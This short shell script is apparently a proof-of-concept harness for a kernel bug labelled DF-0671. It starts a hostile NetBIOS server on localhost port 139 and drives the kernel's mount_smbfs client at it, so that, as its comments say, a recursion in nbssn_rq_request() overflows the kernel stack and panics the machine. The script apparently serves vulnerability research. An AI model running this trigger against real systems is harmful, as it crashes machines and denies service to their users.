#!/bin/sh
# DF-0671 run: start the evil NB server on 127.0.0.1:139, then drive the kernel
# SMB client (mount_smbfs) at it. The kernel recurses in nbssn_rq_request() and
# the lwkt stack overflows -> panic.
# Run as ROOT (mount_smbfs needs root; evil server needs port 139).
set -e
kldload smbfs 2>/dev/null || true
./evil_nbserver 139 &
EVIL=$!
sleep 1
echo "[*] evil server pid=$EVIL; invoking mount_smbfs (kernel NB session) ..."
timeout 30 mount_smbfs -N -I 127.0.0.1 '//GUEST@127.0.0.1/SHARE' /mnt 2>&1
echo "MOUNT_RC=$?"
kill $EVIL 2>/dev/null || true